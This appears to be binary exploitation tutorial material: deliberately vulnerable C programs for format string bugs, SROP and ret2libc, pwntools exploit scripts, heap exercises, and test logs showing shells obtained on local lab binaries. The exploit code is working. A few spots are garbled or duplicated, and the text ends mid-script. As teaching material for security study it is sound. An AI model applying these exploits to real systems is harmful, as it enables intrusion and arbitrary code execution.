#gcc -g -O0 -no-pie -fno-stack-protector -fcf-protection=none uaf_challenge.c -o uaf_challenge
Find admin_greet address:
objdump -d uaf_challenge | grep admin_greet
based on what you've learned, write the proper exploit
Compile how2heap tcache_house_of_spirit.c:
cd ~/tuts/how2heap
make v$(ldd --version | head -1 | awk '{print $NF}')
./glibc_2.39/tcache_house_of_spirit
Trace in GDB to understand the simple requirements:
Key observation: Unlike original House of Spirit, tcache doesn't check next chunk metadata!
Compile the tcache_poisoning.c example:
gcc -no-pie -g -fcf-protection=none tcache_poison.c -o tcache_poison
# Or use how2heap:
~/tuts/how2heap/glibc_2.39/tcache_poisoning
Trace execution in GDB:
gdb ~/tuts/how2heap/glibc_2.39/tcache_poison
break main
run
# After each malloc/free, run:
heap
bins
Observe tcache state:
Modify to target a function pointer:
system or win functionRun how2heap example:
~/tuts/how2heap/glibc_2.39/house_of_botcake
Understand the technique:
Key insight: Bypasses tcache double-free detection via consolidation trick
Study the protection:
// Demangling formula
#define REVEAL_PTR(pos, ptr) \
((__typeof__(ptr))((((size_t)(pos)) >> 12) ^ ((size_t)(ptr))))
Write a heap leak + tcache poison exploit:
heap_addr >> 12
Large Bin Attack:
~/tuts/how2heap/glibc_2.39/large_bin_attack
House of Water (Expert):
House of Tangerine (Expert):
~/tuts/how2heap/glibc_2.39/house_of_tangerine
Success Criteria:
| Task | Criterion |
|---|---|
| Task 1 | UAF exploit hijacks function pointer |
| Task 2 | Understand tcache House of Spirit simplicity |
| Task 3 | Tcache poisoning achieves arbitrary write |
| Task 4 | Can explain House of Botcake consolidation trick |
| Task 5 | Safe-linking bypass works with heap leak |
| Task 6 | At least one advanced technique understood |
Minimum requirement: Complete Tasks 1-4 with full understanding
__malloc_hook/__free_hook removed in glibc 2.34+, use GOT or FSOP insteadvuln_fmt built and verified with checksec
%<n>$p where you see 0x4141414141414141)%n write (flip a variable or overwrite a GOT entry)win())What is a Format String Bug?:
Vulnerable Code:
//~/exploit/vuln_fmt.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void win() {
printf("You won!\n");
system("/bin/sh");
}
int main() {
char buffer[200];
// Clear buffer
memset(buffer, 0, sizeof(buffer));
// Read from stdin to allow null bytes in payload
// use read() to avoid stopping at null bytes or newlines prematurely
read(0, buffer, sizeof(buffer)-1);
// VULNERABLE: user-controlled buffer used as format string!
printf(buffer);
exit(0);
}
Common Format Specifiers:
| Specifier | Description | Stack Effect (AMD64) |
|---|---|---|
%d |
Print int | Reads from register/stack |
%x |
Print hex (32-bit) | Reads 4 bytes, zero-extended |
%lx |
Print hex (64-bit) | Reads full 8 bytes |
%s |
Print string | Reads pointer, dereferences |
%n |
Write byte count | Writes to pointer |
%p |
Print pointer (BEST!) | Shows full 64-bit pointer as hex |
%<number>$ |
Direct parameter access | Access specific position |
[!IMPORTANT] On AMD64, always use
%pfor leaking! It prints the full 64-bit value in hex format (0x7fff...). Using%xonly shows 32 bits and can confuse beginners.
AMD64 Format String Parameter Passing:
On AMD64, the first 6 printf arguments after the format string come from registers:
This means your buffer typically appears at offset 6 or higher on AMD64!
Reading Stack:
# Compile vulnerable program (AMD64, no -m32!)
make format-sec SOURCE=vuln_fmt.c BINARY=vuln_fmt
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wno-format-security vuln_fmt.c -o vuln_fmt
# Read values using %p (always use %p on AMD64!)
echo 'AAAA%p %p %p %p %p %p %p %p' | ./vuln_fmt
# Output: AAAA0x7ffc4cb66900 0xc7 0x7cc35931ba91 (nil) 0x7cc3594c0380 0x2520702541414141 0x2070252070252070 0x7025207025207025
# ^^^^^^^^
# Your input at offset 6!
# Direct parameter access - note: offset changes with format string length!
echo '%6$p' | ./vuln_fmt # 0xa70243625 (format string itself!)
echo '%1$p' | ./vuln_fmt # 0x7ffdca13b4b0 (stack addr)
# To find your input, use consistent padding:
echo 'AAAAAAAA%6$p' | ./vuln_fmt
# Output: AAAAAAAA0x4141414141414141 ← Input found at offset 6!
Stack Reading Success:
0x4141414141414141)%6$p shows format string pointer 0xa70243625
%1$p shows stack address 0x7ffdca13b4b0
Leaking Stack Values (AMD64):
#!/usr/bin/env python3
# ~/exploit/fmt_leak.py
"""
Format string exploit to leak stack values (AMD64)
"""
from pwn import *
binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf
def leak_stack(offset):
"""Leak value at stack offset"""
# Use padding to keep format string length consistent
payload = f'AAAAAAAA%{offset}$p'.encode()
p = process(binary)
p.send(payload)
output = p.recvall()
p.close()
return output
# Scan for our input (0x4141414141414141)
log.info("Scanning stack offsets...")
for i in range(1, 10):
result = leak_stack(i)
decoded = result.decode().strip()
marker = "<<<" if "4141414141414141" in decoded else ""
print(f"Offset {i:2d}: {decoded} {marker}")
# On this system, input is at offset 6
Run:
cd ~/exploit
python3 fmt_leak.py
Test Results:
[*] Scanning stack offsets...
...
Offset 5: AAAAAAAA0x796604c9a380
[+] Starting local process './vuln_fmt': pid 2583
[+] Receiving all data: Done (26B)
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2583)
Offset 6: AAAAAAAA0x4141414141414141 <<<
[+] Starting local process './vuln_fmt': pid 2586
[+] Receiving all data: Done (18B)
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2586)
Offset 7: AAAAAAAA0x70243725
[+] Starting local process './vuln_fmt': pid 2589
[+] Receiving all data: Done (13B)
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2589)
...
Stack Scanning Success:
0x4141414141414141 marker foundFinding Your Input Offset (Quick Method):
#!/usr/bin/env python3
#~/exploit/fmt_find_offset.py
# ~/exploit/fmt_find_offset.py
from pwn import *
binary = './vuln_fmt'
context.log_level = 'error'
# Scan with consistent padding
for i in range(1, 20):
payload = f'AAAAAAAA%{i}$p'.encode()
p = process(binary)
p.send(payload)
out = p.recvall().decode()
p.close()
if '4141414141414141' in out:
print(f"[+] Input found at offset {i}")
print(f" Payload: AAAAAAAA%{i}$p")
break
else:
print("[-] Not found in first 20 offsets")
Result: On this system, input buffer is at offset 6.
Reading Memory at Address:
On AMD64, addresses are 8 bytes and may contain null bytes (0x00004...). Null bytes terminate strings, so we put the address AFTER the format specifier!
// Want to read memory at 0x00000000004011b6 (main)
// Problem: Address has leading zeros = null bytes!
// Solution: Put address at END of format string
// "%9$sAAAAAAAA" + p64(addr)
// The AAAAAAAA aligns to 8 bytes, then address follows
fmtstr_payload is magic, but you must understand why 64-bit writes are painful.
The Issue: 64-bit addresses (e.g., 0x00007fffffffe000) contain null bytes at the start (little endian: 00 e0 ff ...).
If you put the address at the start of your payload (like in 32-bit exploits), printf reads the null bytes and stops processing the rest of the string immediately.
The Solution: Place the target address at the very end of the payload.
%<offset>$n to tell printf to skip ahead to that end-block where the address lives.# Conceptual 64-bit Write (Manual)
# We want to write 'A' (65) to 0x7fffffffe010
# 1. Padding to align stack
pad = b"A" * 8
# 2. Format specifiers (write 65 bytes)
fmt = b"%65c"
# 3. The write trigger (pointing to offset 8, for example)
trigger = b"%8$n"
# 4. Pad length to align address to 8-byte boundary
final_pad = b"B" * (64 - len(pad+fmt+trigger))
# 5. The Address (with null bytes) comes LAST
addr = p64(0x7fffffffe010)
payload = pad + fmt + trigger + final_pad + addr +
Example:
#!/usr/bin/env python3
#~/exploit/21.py
from pwn import *
binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf
def send_payload(payload_bytes):
"""Helper to send payload with null bytes"""
p = process(binary)
p.send(payload_bytes)
output = p.recvall()
p.close()
return output
# Step 1: Find payload offset
log.info("Step 1: Finding payload offset on stack")
payload_offset = 0
for test_offset in range(1, 20):
payload = b"AAAAAAAA" + f"%{test_offset}$p".encode()
result = send_payload(payload)
output = result.decode('utf-8', errors='ignore')
if '0x4141414141414141' in output:
log.success(f"Payload lands at offset {test_offset}")
payload_offset = test_offset
break
else:
log.error("Could not find payload offset")
exit(1)
# Step 2: Leak Libc
log.info(f"\nStep 2: Leaking libc address")
# Leak libc from a known offset (e.g., return address or __libc_start_main)
# We need to find a stable libc pointer on the stack.
libc_leak_offset = 33
# Note: You must calculate the offset constant yourself by debugging!
libc_offset_constant = 0x2a1ca
payload = f"%{libc_leak_offset}$p".encode()
result = send_payload(payload)
output = result.decode('utf-8', errors='ignore').strip()
if '0x' in output:
try:
# Output might be "0x7f..." or similar
leak_str = output.split('0x')[1].split()[0]
leak_addr = int(leak_str, 16)
log.info(f"Leaked address at offset {libc_leak_offset}: {hex(leak_addr)}")
libc_base = leak_addr - libc_offset_constant
log.success(f"Calculated Libc Base: {hex(libc_base)}")
if libc_base & 0xfff == 0:
log.success("Libc base is page-aligned! Looks good.")
else:
log.warning("Libc base is NOT page-aligned - might be wrong offset")
except (ValueError, IndexError) as e:
log.error(f"Failed to parse leaked address: {e}")
log.error(f"Raw output: {output}")
exit(1)
else:
log.error("No address leaked - check offset")
exit(1)
The %n Specifier (64-bit considerations):
%n writes 4 bytes (int) - often enough!%ln writes 8 bytes (long) - full 64-bit%hn writes 2 bytes (short)%hhn writes 1 byte (char) - most preciseFor AMD64 addresses (0x7fff...), use %hhn to write byte-by-byte,
or %hn to write 2 bytes at a time. Full 8-byte writes are rarely practical.
Writing with pwntools (Recommended):
#!/usr/bin/env python3
#~/exploit/22.py
from pwn import *
binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf # CRITICAL: Sets amd64!
# pwntools fmtstr_payload handles all the complexity
target = elf.got['exit'] # Example: overwrite exit@GOT
value = elf.symbols['win'] # Redirect to win()
# Find format string offset first (see next section)
offset = 6 # Offset 6 (stdin based)
# Generate payload automatically
payload = fmtstr_payload(offset, {target: value})
log.info(f"Payload length: {len(payload)}")
# Send payload via stdin to allow null bytes
p = process(binary)
p.send(payload)
p.recvuntil(b"You won!") # Verify win
p.interactive()
Test Results:
[*] Payload length: 64
[+] Starting local process './vuln_fmt': pid 2626
[*] Switching to interactive mode
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './vuln_fmt' (pid 2626)
GOT Overwrite Success:
fmtstr_payload
win() functionGlobal Offset Table (GOT):
Exploit Strategy:
system or one_gadget
Example Program (fmt_got.c):
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void win() {
printf("You win!\n");
system("/bin/sh");
}
int main() {
char buffer[200];
memset(buffer, 0, sizeof(buffer));
// Read from stdin to allow null bytes
read(0, buffer, sizeof(buffer)-1);
// Format string vulnerability
printf(buffer);
printf("\n");
// Call exit (GOT entry target)
exit(0);
}
Compile (AMD64):
make format-sec SOURCE=fmt_got.c BINARY=fmt_got
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wno-format-security fmt_got.c -o fmt_got
Exploit (AMD64):
#!/usr/bin/env python3
#~/exploit/23.py
from pwn import *
binary = './fmt_got'
elf = ELF(binary)
context.binary = elf # Sets amd64 automatically!
# Find addresses
win_addr = elf.symbols['win']
exit_got = elf.got['exit']
log.info(f"win() @ {hex(win_addr)}")
log.info(f"exit@GOT @ {hex(exit_got)}")
# Step 1: Find format string offset
def send_payload(payload):
p = process(binary)
p.send(payload)
output = p.recvall()
p.close()
return output
# Manual offset finding
for i in range(1, 10):
result = send_payload(f"%{i}$p".encode())
log.info(f"Offset {i}: {result}")
# Once you find offset where your input appears...
# Example: offset 6
# Step 2: Use fmtstr_payload (handles AMD64 complexity!)
offset = 6 # ADJUST BASED ON YOUR TESTING!
payload = fmtstr_payload(offset, {exit_got: win_addr})
log.info(f"Payload: {payload[:50]}...")
p = process(binary)
p.send(payload)
p.interactive()
Test Results:
[*] win() @ 0x401186
[*] exit@GOT @ 0x404030
[*] Payload: b'%134c%11$lln%139c%12$hhn%47c%13$hhnaaaab0@@\x00\x00\x00\x00\x001@'...
[+] Starting local process './fmt_got': pid 2682
[*] Switching to interactive mode
You win!
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './fmt_got' (pid 2682)
Manual GOT Overwrite Success:
win() at 0x401186, exit@GOT at 0x404030
%lln, %hhn specifiersexit@GOT redirected to win() functionUsing pwntools FmtStr Class (Automated):
#!/usr/bin/env python3
#~/exploit/24.py
from pwn import *
binary = './fmt_got'
elf = ELF(binary)
context.binary = elf
def oracle(payload):
"""Execute format string and return output"""
# Use stdin for payload to allow null bytes (AMD64)
p = process(binary)
p.send(payload)
output = p.recvall()
p.close()
return output
# FmtStr auto-finds offset!
# We tell it we control the first argument (index 0) of the printf call (handled by oracle)
autofmt = FmtStr(execute_fmt=oracle)
log.info(f"Auto-detected offset: {autofmt.offset}")
# Queue write operation
autofmt.write(elf.got['exit'], elf.symbols['win'])
# Execute (sends the payload)
#autofmt.execute_writes()
# For interactive shell, send manually:
payload = fmtstr_payload(autofmt.offset, {elf.got['exit']: elf.symbols['win']})
p = process(binary)
p.send(payload)
p.interactive()
Test Results:
[*] Process './fmt_got' stopped with exit code 0 (pid 2708)
[+] Found format string offset: 6
[*] Auto-detected offset: 6
[+] Starting local process './fmt_got': pid 2711
[*] Switching to interactive mode
You win!
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './fmt_got' (pid 2711)
Automated FmtStr Success:
exit@GOT to win() functionUsing FmtStr Module:
#!/usr/bin/env python3
#~/exploit/25.py
from pwn import *
binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf # CRITICAL for AMD64!
# Define oracle function - how to send payload and get output
def send_fmt(payload):
# Use stdin for payload to allow null bytes
p = process(binary)
p.send(payload)
output = p.recvall()
p.close()
return output
# Automatic offset detection and exploitation
# We tell it we control the first argument (index 0) of the printf call (handled by oracle)
fmt = FmtStr(execute_fmt=send_fmt)
log.info(f"Detected offset: {fmt.offset}")
# Queue writes (can write multiple!)
target = elf.got['exit']
value = elf.symbols['win']
fmt.write(target, value)
# Execute all queued writes
fmt.execute_writes()
Test Results:
...
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2736)
[*] Found format string offset: 6
[*] Detected offset: 6
[+] Starting local process './vuln_fmt': pid 2739
[-] Receiving all data: Failed
Traceback (most recent call last):
...
KeyboardInterrupt
[*] Stopped process './vuln_fmt' (pid 2739)
FmtStr.execute_writes() Issue:
execute_writes() hangs because successful GOT overwrite redirects exit() to win(), but win() doesn't exit the programwin() and waits for input, but recvall() expects program to exitfmtstr_payload() directly instead of execute_writes() for interactive shellsManual fmtstr_payload (More Control):
#!/usr/bin/env python3
#~/exploit/26.py
from pwn import *
binary = './vuln_fmt'
elf = ELF(binary)
context.binary = elf
# First: Find your offset manually
# Test: echo 'AAAAAAAA %p %p ...' | ./vuln_fmt
# Look for 0x4141414141414141
offset = 6 # Offset 6 (stdin based)
# Generate optimized payload
payload = fmtstr_payload(
offset,
{elf.got['exit']: elf.symbols['win']},
write_size='short' # Use %hn (2-byte writes) - often more reliable
)
p = process(binary)
p.send(payload)
p.interactive()
Test Results:
...
[+] Starting local process './vuln_fmt': pid 2759
[*] Switching to interactive mode
You won!
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
$
[*] Interrupted
[*] Stopped process './vuln_fmt' (pid 2759)
Manual fmtstr_payload Success:
fmtstr_payload() instead of execute_writes()
%hn (2-byte writes) for reliabilityFormat String + Libc Leak Pattern (ASLR Bypass):
#!/usr/bin/env python3
#~/exploit/27.py
"""
Complete format string exploit with ASLR bypass (AMD64)
Pattern: Leak → Calculate → Overwrite
"""
from pwn import *
binary = './vuln_fmt'
elf = ELF(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = elf
def send_fmt(payload):
p = process(binary)
p.send(payload)
output = p.recvall()
p.close()
return output
# STAGE 1: Leak libc address
# Find a libc pointer on the stack (return addr, saved values, etc.)
# __libc_start_main+XXX is commonly at offset 33 on our system
leak_offset = 33 # Set to 33 based on GDB debugging
leak = send_fmt(f'%{leak_offset}$p'.encode())
libc_leak = int(leak.decode().strip(), 16)
log.info(f"Leaked: {hex(libc_leak)}")
# STAGE 2: Calculate libc base
# The leak is __libc_start_main + 122 (0x7...2a1ca)
libc_offset_constant = 0x2a1ca # Found via GDB
libc.address = libc_leak - libc_offset_constant
log.success(f"Libc base: {hex(libc.address)}")
# Verify base is page-aligned
assert libc.address & 0xfff == 0, "Bad libc base calculation!"
# STAGE 3: Overwrite GOT with one_gadget or system
# Find one_gadget: one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadget = libc.address + 0xe3b01 # ADJUST - run one_gadget tool!
# STAGE 3: Overwrite GOT with one_gadget or system
# Find one_gadget: one_gadget /lib/x86_64-linux-gnu/libc.so.6
one_gadget = libc.address + 0xe3b01 # ADJUST - run one_gadget tool!
# Generate payload manually for the final exploit
# We know the offset is 6 (stdin based)
offset = 6
payload = fmtstr_payload(offset, {elf.got['exit']: one_gadget})
p = process(binary)
p.send(payload)
p.interactive()
Test Results:
...
[+] Starting local process './vuln_fmt': pid 2769
[+] Receiving all data: Done (14B)
[*] Process './vuln_fmt' stopped with exit code 0 (pid 2769)
[*] Leaked: 0x77d09f42a1ca
[+] Libc base: 0x77d09f400000
[+] Starting local process './vuln_fmt': pid 2772
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ id
[*] Process './vuln_fmt' stopped with exit code -11 (SIGSEGV) (pid 2772)
[*] Got EOF while sending in interactive
ASLR Bypass + One_Gadget Issues:
0x77d09f42a1ca → base 0x77d09f400000
0xe3b01 offset caused crash (SIGSEGV)one_gadget /lib/x86_64-linux-gnu/libc.so.6 to find working offsetsKey Lessons:
fmtstr_payload() directlyfmtstr_payload() with write_size='short' is most reliableFortify Source (-D_FORTIFY_SOURCE=2):
// Caught by fortify
printf(user_input); // Compile warning
// Also caught
char fmt[100];
strcpy(fmt, user_input);
printf(fmt); // Runtime error
Mitigations:
printf("%s", input)
-Wformat -Wformat-security
-D_FORTIFY_SOURCE=2
What is SROP?:
sigreturn syscall to set all registers at oncesigreturn restores register state from a "signal frame" on stackWhy Use SROP?:
pop rdi; ret chain. SROP only needs syscall; ret.pop rdx gadgets.[!NOTE] SROP vs one_gadget on modern libc: SROP uses direct syscalls, bypassing libc entirely. This avoids CET issues that plague libc function calls. If one_gadget fails due to CET constraints, SROP is an excellent alternative.
Signal Frame Structure (simplified x64):
struct sigcontext {
uint64_t r8, r9, r10, r11, r12, r13, r14, r15;
uint64_t rdi, rsi, rbp, rbx, rdx, rax, rcx, rsp, rip;
uint64_t eflags;
// ... more fields
};
SROP Exploit Flow:
RAX = 59 (execve syscall number)
RDI = address of "/bin/sh"
RSI = 0 (NULL)
RDX = 0 (NULL)
RIP = syscall gadget
SROP with pwntools:
Target Source (vuln_srop.c):
// Compile: make disabled SOURCE=vuln_srop.c BINARY=vuln_srop
// Note: -fcf-protection=none is REQUIRED to disable Intel CET (Shadow Stack) which blocks SROP
#include <stdio.h>
#include <unistd.h>
char binsh[] = "/bin/sh";
// Explicitly include gadgets for the exercise
void gadgets() {
__asm__ volatile(
"pop %rax; ret\n"
"syscall\n"
"ret\n"
);
}
void vuln() {
char buffer[64];
write(1, "Enter input: ", 13);
read(0, buffer, 512); // Large overflow
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
Exploit Script:
#!/usr/bin/env python3
#~/exploit/exploit_srop.py
from pwn import *
context.arch = 'amd64'
binary = './vuln_srop'
elf = ELF(binary)
rop = ROP(elf)
# 1. Find Gadgets
try:
pop_rax = rop.find_gadget(['pop rax', 'ret'])[0]
syscall_ret = rop.find_gadget(['syscall', 'ret'])[0]
log.info(f"pop rax @ {hex(pop_rax)}")
log.info(f"syscall @ {hex(syscall_ret)}")
except:
log.critical("Gadgets not found! Did you compile vuln_srop.c explicitly?")
exit(1)
# 2. Find /bin/sh
try:
binsh_addr = next(elf.search(b'/bin/sh'))
log.info(f"/bin/sh @ {hex(binsh_addr)}")
except StopIteration:
log.critical("/bin/sh not found in binary! Did you add the global string?")
exit(1)
# 3. Build Frame
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
frame.rsp = elf.bss() + 0x100 # Set valid stack pointer for stability
# 4. Construct Payload
offset = 72
payload = b'A' * offset
payload += p64(pop_rax)
payload += p64(constants.SYS_rt_sigreturn) # 15
payload += p64(syscall_ret)
payload += bytes(frame)
# Run
p = process(binary)
p.sendline(payload)
p.interactive()
Test Results:
...
[*] Loading gadgets for '/home/dev/exploit/vuln_srop'
[*] pop rax @ 0x40114a
[*] syscall @ 0x40114c
[*] /bin/sh @ 0x404028
[+] Starting local process './vuln_srop': pid 2852
[*] Switching to interactive mode
Enter input: $ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
SROP Exploit Success:
-fcf-protection=none -z execstack (CET disabled, executable stack)pop rax @ 0x40114a, syscall @ 0x40114c (from inline assembly)/bin/sh @ 0x404028 (global variable in .data)Key Technical Details:
-fcf-protection=none disables shadow stack/IBT protection-z execstack allows shellcode if neededWhen to Use SROP vs ROP:
| Scenario | Use SROP | Use ROP |
|---|---|---|
| Few gadgets available | x | |
| Need to set many registers | x | |
| Simple function call | x | |
Binary has sigreturn gadget |
x | |
| Need fine-grained control | x |
What is ret2dlresolve?:
How Lazy Binding Works:
_dl_runtime_resolve(link_map, reloc_index)
ret2dlresolve Attack:
_dl_runtime_resolve with fake reloc_index
ret2libc with Leak:
Instead of ret2dlresolve, most real exploits use a two-stage approach:
// leak_target.c - Compile: gcc -fno-stack-protector -no-pie -o leak_target leak_target.c
#include <stdio.h>
#include <unistd.h>
// Add pop rdi gadget for ret2libc
__attribute__((noinline)) void gadgets() {
__asm__ volatile(
".global pop_rdi_ret\n"
"pop_rdi_ret:\n"
"pop %rdi\n"
"ret\n"
);
}
void vuln() {
char buf[64];
// Stage 1: Leak libc address (common in real vulnerabilities)
printf("puts@GOT: %p\n", puts);
printf("printf@GOT: %p\n", printf);
// Stage 2: Buffer overflow
printf("Enter data: ");
read(0, buf, 256);
}
int main() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("=== ret2libc with Leak Demo ===\n");
vuln();
return 0;
}
#!/usr/bin/env python3
#~/exploit/ret2libc.py
"""
ret2libc with leak - Automatic gadget discovery
No hardcoded addresses - finds everything dynamically
"""
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
binary = './leak_target'
elf = ELF(binary)
rop = ROP(elf)
# Find libc
try:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
except:
try:
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
except:
log.error("Could not find libc. Adjust path in script.")
exit(1)
p = process(binary)
# Stage 1: Get leak
p.recvuntil(b"puts@GOT: ")
puts_addr = int(p.recvline().strip(), 16)
log.info(f"Leaked puts: {hex(puts_addr)}")
# Calculate libc base
libc.address = puts_addr - libc.symbols['puts']
log.success(f"libc base: {hex(libc.address)}")
log.info(f"system: {hex(libc.symbols['system'])}")
binsh = next(libc.search(b'/bin/sh'))
log.info(f"/bin/sh: {hex(binsh)}")
# Stage 2: Find gadgets automatically
log.info("Finding gadgets...")
# Find pop rdi gadget
try:
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
log.success(f"pop rdi; ret: {hex(pop_rdi)}")
except:
log.error("Could not find 'pop rdi; ret' gadget")
exit(1)
# Find ret gadget for alignment
try:
ret = rop.find_gadget(['ret'])[0]
log.success(f"ret: {hex(ret)}")
except:
log.error("Could not find 'ret' gadget")
exit(1)
# Build payload
offset = 72 # 64 buffer + 8 saved RBP
payload = b'A' * offset
# Stack alignment: Add ret gadget first
payload += p64(ret)
# Call system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(libc.symbols['system'])
log.info(f"Payload size: {len(payload)} bytes")
p.sendlineafter(b"Enter data: ", payload)
log.success("Exploit sent! Checking for shell...")
sleep(0.5)
try:
p.sendline(b'echo SUCCESS')
response = p.recvline(timeout=2)
if b'SUCCESS' in response:
log.success("Shell spawned!")
p.interactive()
else:
log.info(f"Got: {response}")
p.interactive()
except EOFError:
log.error("Process died")
log.info(f"Exit code: {p.poll()}")
except Exception as e:
log.error(f"Error: {e}")
p.close()
Test Results:
...
[+] Starting local process './leak_target': pid 2893
[*] Leaked puts: 0x7d2ad6887be0
[+] libc base: 0x7d2ad6800000
[*] system: 0x7d2ad6858750
[*] /bin/sh: 0x7d2ad69cb42f
[*] Finding gadgets...
[+] pop rdi; ret: 0x40117e
[+] ret: 0x40101a
[*] Payload size: 104 bytes
[+] Exploit sent! Checking for shell...
[+] Shell spawned!
[*] Switching to interactive mode
$ id
uid=1000(dev) gid=1000(dev) groups=1000(dev),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)
ret2libc with Leak Success:
puts@GOT: 0x7d2ad6887be0 → base 0x7d2ad6800000
pop rdi; ret @ 0x40117e, ret @ 0x40101a (from inline assembly)system @ 0x7d2ad6858750, /bin/sh @ 0x7d2ad69cb42f
Key Technical Insights:
ret gadget for 16-byte alignment before pop rdi
ret2dlresolve Requirements:
Reality Check:
In practice, ret2libc with leak is used in 90%+ of real exploits because:
ret2dlresolve is mainly useful for:
What is one_gadget?:
Usage:
one_gadget /lib/x86_64-linux-gnu/libc.so.6
# Example output (actual gadgets vary by libc version):
# 0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x68 is writable
# rsp & 0xf == 0
# rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL
#
# 0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x68 is writable
# rsp & 0xf == 0
# rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL
#
# 0xef4ce execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x48 is writable
# rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp
#
# 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# constraints:
# address rbp-0x50 is writable
# rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
# [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
#
# These constraints can be VERY hard to satisfy from typical overflow contexts!
The goal is to modify the secret_code variable to 0x1337 to unlock the shell.
This program runs in a loop, allowing you to test multiple format strings in one session.
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
volatile int secret_code = 0;
void give_shell() {
printf("Access Granted! Spawning shell...\n");
system("/bin/sh");
}
void vuln_func() {
char buffer[256];
printf("Target variable is at %p. Current value: %d\n", &secret_code, secret_code);
while(secret_code != 0x1337) {
printf("\nEnter input (type 'quit' to exit): ");
memset(buffer, 0, sizeof(buffer));
int len = read(0, buffer, sizeof(buffer)-1);
if(strncmp(buffer, "quit", 4) == 0) break;
// Vulnerability: Format string
printf("You returned: ");
printf(buffer);
if (secret_code == 0x1337) {
give_shell();
break;
}
}
}
int main() {
// Disable buffering
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
vuln_func();
return 0;
}
Compile:
make disabled SOURCE=fmt_challenge.c BINARY=fmt_challenge
#gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none -Wno-format-security fmt_challenge.c -o fmt_challenge
Testing & Offset Finding
# Run the program
./fmt_challenge
# Test and find the offset
Exploitation (Python)
write the python exploit using pwn tools
Why This Matters: On modern systems with CET (glibc 2.34+), system() via ROP crashes due to IBT/Shadow Stack checks on libc functions. This exercise shows how to bypass libc entirely using a direct execve syscall via SROP.
Vulnerable Program:
// srop_target.c - Compile: gcc -fno-stack-protector -no-pie -o srop_target srop_target.c
#include <stdio.h>
#include <unistd.h>
char binsh[] = "/bin/sh"; // String in .data for convenience
// Include gadgets to make the exercise standalone and reliable
__attribute__((noinline)) void gadgets() {
__asm__ volatile(
".global pop_rax_ret\n"
"pop_rax_ret:\n"
"pop %rax\n"
"ret\n"
".global syscall_ret\n"
"syscall_ret:\n"
"syscall\n"
"ret\n"
);
}
void vuln() {
char buf[64];
printf("Buffer at: %p\n", buf);
printf("Enter data: ");
read(0, buf, 512); // Obvious overflow - increased for SROP frame
}
int main() {
// Disable buffering for reliable I/O
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
Finding Required Gadgets:
# We need minimal gadgets for SROP:
# 1. pop rax; ret - to set RAX = 15 (sigreturn syscall number)
# 2. syscall; ret - to execute sigreturn, then execve
ropper --file srop_target --search "pop rax"
ropper --file srop_target --search "syscall"
# Since we included them in C, they will be found!
Complete SROP Exploit (No libc Required):
#!/usr/bin/env python3
"""
SROP Exploit
"""
from pwn import *
context.arch = 'amd64'
context.log_level = 'info'
binary = './srop_target'
elf = ELF(binary)
p = process(binary, aslr=False)
p.recvuntil(b"Buffer at: ")
buf_addr = int(p.recvline().strip(), 16)
log.info(f"Buffer at: {hex(buf_addr)}")
binsh_addr = next(elf.search(b'/bin/sh'))
pop_rax_ret = 0x40117e
